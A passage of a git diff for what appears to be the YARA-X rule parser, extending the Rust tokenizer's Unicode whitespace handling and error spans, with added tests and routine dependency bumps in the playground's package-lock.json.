0, - mode: Mode::Normal(Logos::lexer(source)), + mode: Mode::Normal(Logos::lexer(lexer_source)), + source_too_large, } } + /// Returns true if the source file exceeds the maximum representable span. + #[inline] + pub(crate) fn source_too_large(&self) -> bool { + self.source_too_large + } + /// Returns the source code passed to the tokenizer. #[inline] pub fn source(&self) -> &'src [u8] { @@ -210,8 +231,18 @@ impl Tokenizer<'_> { // `unexpected` is the valid UTF-8 prefix. let unexpected = chunk.valid(); - // Truncate `unexpected` at the first whitespace if any. - let unexpected = unexpected.split(char::is_whitespace).next().unwrap(); + // Truncate `unexpected` at the first whitespace if any. If `unexpected` + // starts with a character considered whitespace by `char::is_whitespace` + // that wasn't matched as `Whitespace` or a newline (e.g. `\u{0085}`, + // `\u{2028}`, `\u{2029}`), `split` yields an empty string; consume that + // first full UTF-8 character so the span never splits a code point. + let unexpected = match unexpected.split(char::is_whitespace).next() { + Some(s) if !s.is_empty() => s, + _ => { + let c = unexpected.chars().next().unwrap(); + &unexpected[..c.len_utf8()] + } + }; // If `unexpected` is larger than the current token, bump the lexer to the // end of `unexpected`. @@ -238,7 +269,7 @@ enum Mode<'src> { /// Tokens recognized in normal mode. #[allow(clippy::upper_case_acronyms)] #[derive(logos::Logos, Debug, PartialEq)] -#[logos(source = [u8])] +#[logos(utf8 = false)] enum NormalToken<'src> { // Keywords #[token("all")] @@ -462,7 +493,7 @@ enum NormalToken<'src> { // they contain either an escape sequence, or anything that is not a quote // newline or backslash, including non UTF-8 characters. #[regex( - r#"(?x) # allow comments in the regexp + r#"(?x-u) # allow comments in the regexp, don't enforce unicode " # starts with double quotes ( # any number of \\. # escape sequence @@ -478,7 +509,7 @@ enum NormalToken<'src> { // quotes they contain either an escape sequence, or anything that is not a // quote or backslash, including non UTF-8 characters. #[regex( - r#"(?x) # allow comments in the regexp + r#"(?x-u) # allow comments in the regexp, don't enforce unicode """ # starts with 3 double quotes ( # any number of \\. # escape sequence @@ -492,7 +523,7 @@ enum NormalToken<'src> { // Regular expression. #[regex( - r#"(?x) # allow comments in the regexp + r#"(?x-u) # allow comments in the regexp, don't enforce unicode / # starts with / (\\.|[^*/\\\n]) # followed by escape sequence or anything that is # not *, /, \, or newline. This prevents collision @@ -510,7 +541,7 @@ enum NormalToken<'src> { // Block comment. #[regex( - r#"(?x) # allow comments in the regexp + r#"(?x-u) # allow comments in the regexp, don't enforce unicode /\* # starts with /* [^*]* # zero or more characters except * \*+ # one or more * @@ -525,14 +556,14 @@ enum NormalToken<'src> { BlockComment, // Single-line comment - #[regex(r#"//[^\n]*"#)] + #[regex(r#"(?-u)//[^\n]*"#, allow_greedy = true)] Comment, // Space, tab, and many other Unicode characters that are considered spaces. // https://www.compart.com/en/unicode/U+00A0 // https://www.compart.com/en/unicode/bidiclass/WS #[regex( - "[ \t\u{a0}\u{2000}\u{2001}\u{2002}\u{2003}\u{2004}\u{2005}\u{2006}\u{2007}\u{2008}\u{2009}\u{200A}\u{202f}\u{205f}]+" + "[ \t\u{a0}\u{1680}\u{2000}\u{2001}\u{2002}\u{2003}\u{2004}\u{2005}\u{2006}\u{2007}\u{2008}\u{2009}\u{200A}\u{202f}\u{205f}\u{3000}]+" )] Whitespace, @@ -549,7 +580,7 @@ enum NormalToken<'src> { /// Tokens recognized in hex pattern mode. #[allow(clippy::upper_case_acronyms)] #[derive(logos::Logos, Debug, PartialEq)] -#[logos(source = [u8])] +#[logos(utf8 = false)] enum HexPatternToken { // A hex byte is an optional tilde ~, followed by two hex digits or // question marks. The following are valid tokens: @@ -581,7 +612,7 @@ enum HexPatternToken { // https://www.compart.com/en/unicode/U+00A0 // https://www.compart.com/en/unicode/bidiclass/WS #[regex( - "[ \t\u{a0}\u{2000}\u{2001}\u{2002}\u{2003}\u{2004}\u{2005}\u{2006}\u{2007}\u{2008}\u{2009}\u{200A}\u{202f}\u{205f}]+" + "[ \t\u{a0}\u{1680}\u{2000}\u{2001}\u{2002}\u{2003}\u{2004}\u{2005}\u{2006}\u{2007}\u{2008}\u{2009}\u{200A}\u{202f}\u{205f}\u{3000}]+" )] Whitespace, @@ -611,14 +642,14 @@ enum HexPatternToken { BlockComment, // Single-line comment - #[regex(r#"//[^\n]*"#)] + #[regex(r#"(?-u)//[^\n]*"#, allow_greedy = true)] Comment, } /// Tokens recognized in hex jump mode. #[allow(clippy::upper_case_acronyms)] #[derive(logos::Logos, Debug, PartialEq)] -#[logos(source = [u8])] +#[logos(utf8 = false)] enum HexJumpToken<'src> { #[token("-")] Hyphen, @@ -640,7 +671,7 @@ enum HexJumpToken<'src> { // https://www.compart.com/en/unicode/U+00A0 // https://www.compart.com/en/unicode/bidiclass/WS #[regex( - "[ \t\u{a0}\u{2000}\u{2001}\u{2002}\u{2003}\u{2004}\u{2005}\u{2006}\u{2007}\u{2008}\u{2009}\u{200A}\u{202f}\u{205f}]+" + "[ \t\u{a0}\u{1680}\u{2000}\u{2001}\u{2002}\u{2003}\u{2004}\u{2005}\u{2006}\u{2007}\u{2008}\u{2009}\u{200A}\u{202f}\u{205f}\u{3000}]+" )] Whitespace, diff --git a/parser/src/tokenizer/tests.rs b/parser/src/tokenizer/tests.rs index 72a097e6a..44ef28f9e 100644 --- a/parser/src/tokenizer/tests.rs +++ b/parser/src/tokenizer/tests.rs @@ -358,10 +358,20 @@ fn whitespaces() { assert_eq!(lexer.next_token(), Some(Token::WHITESPACE(Span(0..3)))); assert_eq!(lexer.next_token(), None); + // "Ogham Space Mark" character (U+1680). + let mut lexer = super::Tokenizer::new(b"\xE1\x9A\x80"); + assert_eq!(lexer.next_token(), Some(Token::WHITESPACE(Span(0..3)))); + assert_eq!(lexer.next_token(), None); + // "Medium Mathematical Space" character (U+205f). let mut lexer = super::Tokenizer::new(b"\xE2\x81\x9F"); assert_eq!(lexer.next_token(), Some(Token::WHITESPACE(Span(0..3)))); assert_eq!(lexer.next_token(), None); + + // "Ideographic Space" character (U+3000). + let mut lexer = super::Tokenizer::new(b"\xE3\x80\x80"); + assert_eq!(lexer.next_token(), Some(Token::WHITESPACE(Span(0..3)))); + assert_eq!(lexer.next_token(), None); } #[test] @@ -386,6 +396,20 @@ fn errors() { assert_eq!(lexer.next_token(), Some(Token::WHITESPACE(Span(9..10)))); assert_eq!(lexer.next_token(), Some(Token::UNKNOWN(Span(10..19)))); + // Unrecognized Unicode whitespace characters must still produce full + // UTF-8 character spans rather than 1-byte spans. + let mut lexer = super::Tokenizer::new("\u{0085}".as_bytes()); + assert_eq!(lexer.next_token(), Some(Token::UNKNOWN(Span(0..2)))); + assert_eq!(lexer.next_token(), None); + + let mut lexer = super::Tokenizer::new("\u{2028}".as_bytes()); + assert_eq!(lexer.next_token(), Some(Token::UNKNOWN(Span(0..3)))); + assert_eq!(lexer.next_token(), None); + + let mut lexer = super::Tokenizer::new("\u{2029}".as_bytes()); + assert_eq!(lexer.next_token(), Some(Token::UNKNOWN(Span(0..3)))); + assert_eq!(lexer.next_token(), None); + let mut lexer = super::Tokenizer::new(b"\xC7\xA3\xFF\xFF"); assert_eq!(lexer.next_token(), Some(Token::UNKNOWN(Span(0..2)))); assert_eq!(lexer.next_token(), Some(Token::INVALID_UTF8(Span(2..3)))); diff --git a/playground/.nvmrc b/playground/.nvmrc index 1ec89699e..aec62a6cc 100644 --- a/playground/.nvmrc +++ b/playground/.nvmrc @@ -1 +1 @@ -24.16.0 \ No newline at end of file +24.22.1 \ No newline at end of file diff --git a/playground/README.MD b/playground/README.MD index e37383034..e31b43e92 100644 --- a/playground/README.MD +++ b/playground/README.MD @@ -82,7 +82,7 @@ The Language Server analyzes the rule as you type and sends diagnostics, complet ## Run locally -Node `24.16.0` is pinned in [`.nvmrc`](./.nvmrc). +Node `24.22.1` is pinned in [`.nvmrc`](./.nvmrc). ```bash nvm use diff --git a/playground/package-lock.json b/playground/package-lock.json index ca17674e8..58d4ea458 100644 --- a/playground/package-lock.json +++ b/playground/package-lock.json @@ -9,7 +9,7 @@ "version": "0.0.0", "dependencies": { "@codingame/monaco-vscode-editor-api": "^25.1.2", - "@virustotal/yara-x": "^1.19.0", + "@virustotal/yara-x": "1.22.0", "lit": "^3.3.2", "monaco-languageclient": "^10.7.0", "vscode-languageclient": "^9.0.1", @@ -19,7 +19,7 @@ "prettier": "^3.8.1", "rollup-plugin-visualizer": "^7.0.1", "typescript": "~5.9.3", - "vite": "^7.3.6" + "vite": "^7.3.7" } }, "node_modules/@codingame/monaco-vscode-api": { @@ -430,9 +430,9 @@ } }, "node_modules/@esbuild/aix-ppc64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.7.tgz", - "integrity": "sha512-EKX3Qwmhz1eMdEJokhALr0YiD0lhQNwDqkPYyPhiSwKrh7/4KRjQc04sZ8db+5DVVnZ1LmbNDI1uAMPEUBnQPg==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.28.2.tgz", + "integrity": "sha512-XExcO+dvLKvVtNTibSTBej1NCAbaGhWn9Ww1ZPx80qsahhPFe/8jgWP0IchNe0F3HwkU7n8ejhH8bjonqht8mQ==", "cpu": [ "ppc64" ], @@ -447,9 +447,9 @@ } }, "node_modules/@esbuild/android-arm": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.7.tgz", - "integrity": "sha512-jbPXvB4Yj2yBV7HUfE2KHe4GJX51QplCN1pGbYjvsyCZbQmies29EoJbkEc+vYuU5o45AfQn37vZlyXy4YJ8RQ==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.28.2.tgz", + "integrity": "sha512-kXXoiPVVGQcnIYGOeaovwOURpniDBpSq4A03qkQ+BMQqtGG6HYap3xne9C1O1yo4TR3qxlCX5IqqmX6fFo2Lqg==", "cpu": [ "arm" ], @@ -464,9 +464,9 @@ } }, "node_modules/@esbuild/android-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.7.tgz", - "integrity": "sha512-62dPZHpIXzvChfvfLJow3q5dDtiNMkwiRzPylSCfriLvZeq0a1bWChrGx/BbUbPwOrsWKMn8idSllklzBy+dgQ==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.28.2.tgz", + "integrity": "sha512-5YfKeeI8qWfBZIX+u2xZC3Zlb3Os/gLS2sbEKM+I4ZOcsWmHS2WLysCcQZDAFRslDUU5Oiq44gf6PYN1vGwG5A==", "cpu": [ "arm64" ], @@ -481,9 +481,9 @@ } }, "node_modules/@esbuild/android-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.7.tgz", - "integrity": "sha512-x5VpMODneVDb70PYV2VQOmIUUiBtY3D3mPBG8NxVk5CogneYhkR7MmM3yR/uMdITLrC1ml/NV1rj4bMJuy9MCg==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.28.2.tgz", + "integrity": "sha512-O387ite7SzUyCcy3JQX4P4bLtEA7bLLkx+esve5JHnyYfNTxcVpXZo9jhdB0lTKN44gztELTdU7nS8Nr16Fs1Q==", "cpu": [ "x64" ], @@ -498,9 +498,9 @@ } }, "node_modules/@esbuild/darwin-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.7.tgz", - "integrity": "sha512-5lckdqeuBPlKUwvoCXIgI2D9/ABmPq3Rdp7IfL70393YgaASt7tbju3Ac+ePVi3KDH6N2RqePfHnXkaDtY9fkw==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.28.2.tgz", + "integrity": "sha512-n4KqkOQrraxHJcgjM1RvwbigfQKIKJVpM7xp+KsxiyUSrRdIXnt73VhrPAx0fV44hgfmIVKjxMN9J1t5jySVkw==", "cpu": [ "arm64" ], @@ -515,9 +515,9 @@ } }, "node_modules/@esbuild/darwin-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.7.tgz", - "integrity": "sha512-rYnXrKcXuT7Z+WL5K980jVFdvVKhCHhUwid+dDYQpH+qu+TefcomiMAJpIiC2EM3Rjtq0sO3StMV/+3w3MyyqQ==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.28.2.tgz", + "integrity": "sha512-uq6suIWYP37qzGddBKPw5QEQPi6HiLGsO7UmkpfyaYNQ3D+rN6w6WfwH+nuqcGXWvawGwxOEroO4YGnFh95azw==", "cpu": [ "x64" ], @@ -532,9 +532,9 @@ } }, "node_modules/@esbuild/freebsd-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.7.tgz", - "integrity": "sha512-B48PqeCsEgOtzME2GbNM2roU29AMTuOIN91dsMO30t+Ydis3z/3Ngoj5hhnsOSSwNzS+6JppqWsuhTp6E82l2w==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.28.2.tgz", + "integrity": "sha512-n+I0BTSRIoy+d6RPKnEVwql5UwBJolytvY4mAOIEJorKlqgPII8ix6slVVrfZ5Tnj7glIZvloylbB/EJPMWEXw==", "cpu": [ "arm64" ], @@ -549,9 +549,9 @@ } }, "node_modules/@esbuild/freebsd-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.7.tgz", - "integrity": "sha512-jOBDK5XEjA4m5IJK3bpAQF9/Lelu/Z9ZcdhTRLf4cajlB+8VEhFFRjWgfy3M1O4rO2GQ/b2dLwCUGpiF/eATNQ==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.28.2.tgz", + "integrity": "sha512-78XJTJkvPs0kz2w61301PJjXl4g7q3JqiYMZ/M/yVI73EHBrCRTgkhu9oqG7vPqq+a/yadEW8aD+agKlk5xrmg==", "cpu": [ "x64" ], @@ -566,9 +566,9 @@ } }, "node_modules/@esbuild/linux-arm": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.7.tgz", - "integrity": "sha512-RkT/YXYBTSULo3+af8Ib0ykH8u2MBh57o7q/DAs3lTJlyVQkgQvlrPTnjIzzRPQyavxtPtfg0EopvDyIt0j1rA==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.28.2.tgz", + "integrity": "sha512-XlDnu2q5yoqems+xay6wSAcg9DDD7K9RLKZEBOMZm3ckNpJBvOX20tSfby8KfrrhINDyv9V2YVZKY/SpoGJI8w==", "cpu": [ "arm" ], @@ -583,9 +583,9 @@ } }, "node_modules/@esbuild/linux-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.7.tgz", - "integrity": "sha512-RZPHBoxXuNnPQO9rvjh5jdkRmVizktkT7TCDkDmQ0W2SwHInKCAV95GRuvdSvA7w4VMwfCjUiPwDi0ZO6Nfe9A==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.28.2.tgz", + "integrity": "sha512-pW4AC0P3it8c7do9MVM4p51FzHzdM/TZrerurgRcHJ2WTa1VQ1CIq18xncfpBJw4ojkiZZrKW2yIBWBP92j6Ug==", "cpu": [ "arm64" ], @@ -600,9 +600,9 @@ } }, "node_modules/@esbuild/linux-ia32": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.7.tgz", - "integrity": "sha512-GA48aKNkyQDbd3KtkplYWT102C5sn/EZTY4XROkxONgruHPU72l+gW+FfF8tf2cFjeHaRbWpOYa/uRBz/Xq1Pg==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.28.2.tgz", + "integrity": "sha512-CYbnj78HsIeA+DhgUKgFCfvNsTHFhMMrinUrMZpDXJXKN8T3XViTZ/+wtHeVxEWY8ewSzTFN+nRmSwO2tZaLUQ==", "cpu": [ "ia32" ], @@ -617,9 +617,9 @@ } }, "node_modules/@esbuild/linux-loong64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.7.tgz", - "integrity": "sha512-a4POruNM2oWsD4WKvBSEKGIiWQF8fZOAsycHOt6JBpZ+JN2n2JH9WAv56SOyu9X5IqAjqSIPTaJkqN8F7XOQ5Q==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.28.2.tgz", + "integrity": "sha512-buwkd8nsph4R+ajRvw0qM5Hja/TXQow3ptzWO2EbG/cqcIkHloRrdlBtQlshyYGTNFvfkfJ5tpPLVkY4DtsPfQ==", "cpu": [ "loong64" ], @@ -634,9 +634,9 @@ } }, "node_modules/@esbuild/linux-mips64el": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.7.tgz", - "integrity": "sha512-KabT5I6StirGfIz0FMgl1I+R1H73Gp0ofL9A3nG3i/cYFJzKHhouBV5VWK1CSgKvVaG4q1RNpCTR2LuTVB3fIw==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.28.2.tgz", + "integrity": "sha512-ZVykbDyk7519VwiNb9Lcj9m8XM6v5V9uKPvrEMkkEedVewf+0itkhahp4HDpgERXhwLRpWFypsGbG/J8s0QjJA==", "cpu": [ "mips64el" ], @@ -651,9 +651,9 @@ } }, "node_modules/@esbuild/linux-ppc64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.7.tgz", - "integrity": "sha512-gRsL4x6wsGHGRqhtI+ifpN/vpOFTQtnbsupUF5R5YTAg+y/lKelYR1hXbnBdzDjGbMYjVJLJTd2OFmMewAgwlQ==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.28.2.tgz", + "integrity": "sha512-CAXl+Dtd9UUuJd8pKKdwh6MLm3MUMiqMPmhZ3tTSXPqfyQ3vDl6R5hZdZ/kYojK4ofXtdfSv1tFq8XzWx3heNQ==", "cpu": [ "ppc64" ], @@ -668,9 +668,9 @@ } }, "node_modules/@esbuild/linux-riscv64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.7.tgz", - "integrity": "sha512-hL25LbxO1QOngGzu2U5xeXtxXcW+/GvMN3ejANqXkxZ/opySAZMrc+9LY/WyjAan41unrR3YrmtTsUpwT66InQ==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.28.2.tgz", + "integrity": "sha512-GeXCej4IQtU1B+QlDV8W/RRvbzI3O/Stss+/bCXv4lZls5WGRtu2a+3JkA3i4qIUlMXpcHebWpF8AkJhATowuA==", "cpu": [ "riscv64" ], @@ -685,9 +685,9 @@ } }, "node_modules/@esbuild/linux-s390x": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.7.tgz", - "integrity": "sha512-2k8go8Ycu1Kb46vEelhu1vqEP+UeRVj2zY1pSuPdgvbd5ykAw82Lrro28vXUrRmzEsUV0NzCf54yARIK8r0fdw==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.28.2.tgz", + "integrity": "sha512-3H1weTYZPxt/WOhByszQZybS9w5lKzUn1FDMsgEChbHWQwHYQQRfBxgCcZvPhjHfKyJjIievvMmEUawJrdY9Dg==", "cpu": [ "s390x" ], @@ -702,9 +702,9 @@ } }, "node_modules/@esbuild/linux-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.7.tgz", - "integrity": "sha512-hzznmADPt+OmsYzw1EE33ccA+HPdIqiCRq7cQeL1Jlq2gb1+OyWBkMCrYGBJ+sxVzve2ZJEVeePbLM2iEIZSxA==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.28.2.tgz", + "integrity": "sha512-4xTZr1FUmSoQW4XIWmit3tzQrUTZM+N3P0XV8xROKYF50XfI7xeO90+1bZvNwxIufQ9hDQVRJH5YhgPVF8A/HQ==", "cpu": [ "x64" ], @@ -719,9 +719,9 @@ } }, "node_modules/@esbuild/netbsd-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.7.tgz", - "integrity": "sha512-b6pqtrQdigZBwZxAn1UpazEisvwaIDvdbMbmrly7cDTMFnw/+3lVxxCTGOrkPVnsYIosJJXAsILG9XcQS+Yu6w==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.28.2.tgz", + "integrity": "sha512-sSATRjPeDBg3pdgHoQfoYBob11Kk1FGa9lui5RIHZCoCkJa9QKlvl3/vKz2usCmYYjs7ymJR/2Nnsqe+Hjt5nw==", "cpu": [ "arm64" ], @@ -736,9 +736,9 @@ } }, "node_modules/@esbuild/netbsd-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.7.tgz", - "integrity": "sha512-OfatkLojr6U+WN5EDYuoQhtM+1xco+/6FSzJJnuWiUw5eVcicbyK3dq5EeV/QHT1uy6GoDhGbFpprUiHUYggrw==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.28.2.tgz", + "integrity": "sha512-lqnzCV+mM0gIADaKihiCg6ifgfU2L3h5E33rNQBN1Y4MaVGnzryzmvvf7UHxprpQdE8hpqLolJ9Rl+SkIRDpyw==", "cpu": [ "x64" ], @@ -753,9 +753,9 @@ } }, "node_modules/@esbuild/openbsd-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.7.tgz", - "integrity": "sha512-AFuojMQTxAz75Fo8idVcqoQWEHIXFRbOc1TrVcFSgCZtQfSdc1RXgB3tjOn/krRHENUB4j00bfGjyl2mJrU37A==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.28.2.tgz", + "integrity": "sha512-AL2qJILH7lNjrDmCQDvdxMfAUIv8KMNZOvrwAQ8i8//ntL9FflhOyMJ8OZSMBb8/AWXe3/5v5S20y3zCoZWKoQ==", "cpu": [ "arm64" ], @@ -770,9 +770,9 @@ } }, "node_modules/@esbuild/openbsd-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.7.tgz", - "integrity": "sha512-+A1NJmfM8WNDv5CLVQYJ5PshuRm/4cI6WMZRg1by1GwPIQPCTs1GLEUHwiiQGT5zDdyLiRM/l1G0Pv54gvtKIg==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.28.2.tgz", + "integrity": "sha512-QtiuPytchRyC4rwUKhexJdQKvDuZ6hWloi3igqPQNUJCS1/v9EiO3UTOXR6A3FoMo4fnAKbWJdqaIwhOzh8qEw==", "cpu": [ "x64" ], @@ -787,9 +787,9 @@ } }, "node_modules/@esbuild/openharmony-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.7.tgz", - "integrity": "sha512-+KrvYb/C8zA9CU/g0sR6w2RBw7IGc5J2BPnc3dYc5VJxHCSF1yNMxTV5LQ7GuKteQXZtspjFbiuW5/dOj7H4Yw==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.28.2.tgz", + "integrity": "sha512-WkhYDmpTjLvGlScA1rwjRUmhl4k8oXR3cIbtqWmELgU/dFeHHlEllxDvdWcNJV9rbzCexB5vz8gtNewWLgCT7Q==", "cpu": [ "arm64" ], @@ -804,9 +804,9 @@ } }, "node_modules/@esbuild/sunos-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.7.tgz", - "integrity": "sha512-ikktIhFBzQNt/QDyOL580ti9+5mL/YZeUPKU2ivGtGjdTYoqz6jObj6nOMfhASpS4GU4Q/Clh1QtxWAvcYKamA==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.28.2.tgz", + "integrity": "sha512-GPMSkTOtMnv2U2F8gxe4Io6qmVs+YKyp832Etqqxr0hFngmXQ3rzwytelm3GIn7T4VviRUlf3sOgBOiTdvaf7g==", "cpu": [ "x64" ], @@ -821,9 +821,9 @@ } }, "node_modules/@esbuild/win32-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.7.tgz", - "integrity": "sha512-7yRhbHvPqSpRUV7Q20VuDwbjW5kIMwTHpptuUzV+AA46kiPze5Z7qgt6CLCK3pWFrHeNfDd1VKgyP4O+ng17CA==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.28.2.tgz", + "integrity": "sha512-PIhhEkE9uPBleRBrQEJpUn7MBnibZzbGzYWPmY3x+YoVg/95zbjB4CxPPOQ8l5tYYM4mMaCthF8/1DIfBQQyWQ==", "cpu": [ "arm64" ], @@ -838,9 +838,9 @@ } }, "node_modules/@esbuild/win32-ia32": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.7.tgz", - "integrity": "sha512-SmwKXe6VHIyZYbBLJrhOoCJRB/Z1tckzmgTLfFYOfpMAx63BJEaL9ExI8x7v0oAO3Zh6D/Oi1gVxEYr5oUCFhw==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.28.2.tgz", + "integrity": "sha512-YmJbfTlvU7Sdn9BB+4PRES4oB6pxgS37MAONj+hBr/cpXS1aBPKXxNnDbu+QCWPj0o9dgyxeq79g6c5P8KeuYA==", "cpu": [ "ia32" ], @@ -855,9 +855,9 @@ } }, "node_modules/@esbuild/win32-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.7.tgz", - "integrity": "sha512-56hiAJPhwQ1R4i+21FVF7V8kSD5zZTdHcVuRFMW0hn753vVfQN8xlx4uOPT4xoGH0Z/oVATuR82AiqSTDIpaHg==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.28.2.tgz", + "integrity": "sha512-5ebpxr3nWMzrL/rnUI755Jkuee0bHL/Gq0WTF9lvcpv73wAp5eu8MfBUgWK9bhWvZjj7yX8etf/8tI8Ney695g==", "cpu": [ "x64" ], @@ -1250,9 +1250,9 @@ "license": "MIT" }, "node_modules/@virustotal/yara-x": { - "version": "1.19.0", - "resolved": "https://registry.npmjs.org/@virustotal/yara-x/-/yara-x-1.19.0.tgz", - "integrity": "sha512-yCVb8hLVYB6Yb6uFLmndDZL12/O1C28knNFSzarmKupMt+dLQwr5FjsA26mBDY0bBbPT6GkUGMe2bzXIVNM/oQ==", + "version": "1.22.0", + "resolved": "https://registry.npmjs.org/@virustotal/yara-x/-/yara-x-1.22.0.tgz", + "integrity": "sha512-l60g/4kLJOLlfcsdn+j6pDLbUuK4g+r9i6ti5+o18iXj3mD3YEtRmgNZ4GM8ZhyCxhDzhrtsBxic7BdBRjwYhQ==", "license": "BSD-3-Clause" }, "node_modules/@vscode/iconv-lite-umd": { @@ -1294,9 +1294,9 @@ "license": "MIT" }, "node_modules/brace-expansion": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.1.tgz", - "integrity": "sha512-WR1cURNjuvBLMZBMbqM0UoE+WAfdUcEV1ccD8PVBVOI+Z3ND4+SZbN8RsfT2bMuG1qwz5RFvPukSZm5fF2D5eA==", + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.7.tgz", + "integrity": "sha512-uZbew1NqdmPDTMJ8ah1y+b+9QEJrfkXFk3RcTQw3X0jW/xRUvFKsg1CfQdSYGdTbXZWExtU3J3ccxtnfw1Fi0g==", "license": "MIT", "dependencies": { "balanced-match": "^1.0.0" @@ -1377,9 +1377,9 @@ } }, "node_modules/dompurify": { - "version": "3.4.11", - "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.11.tgz", - "integrity": "sha512-zhlUV12GsaRzMsf9q5M254YhA4+VuF0fG+QFqu6aYpoGlKtz+w8//jBcGVYBgQkR5GHjUomejY84AV+/uPbWdw==", + "version": "3.4.17", + "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.17.tgz", + "integrity": "sha512-B/pSlYVHQ58kqISD/yDjuJ1yfzI34m1gF4lAod2bwSRhiN4K5Cl3H8Af7hqB2PmTL911tdEudnnXn5FnhRoz0w==", "license": "(MPL-2.0 OR Apache-2.0)", "optionalDependencies": { "@types/trusted-types": 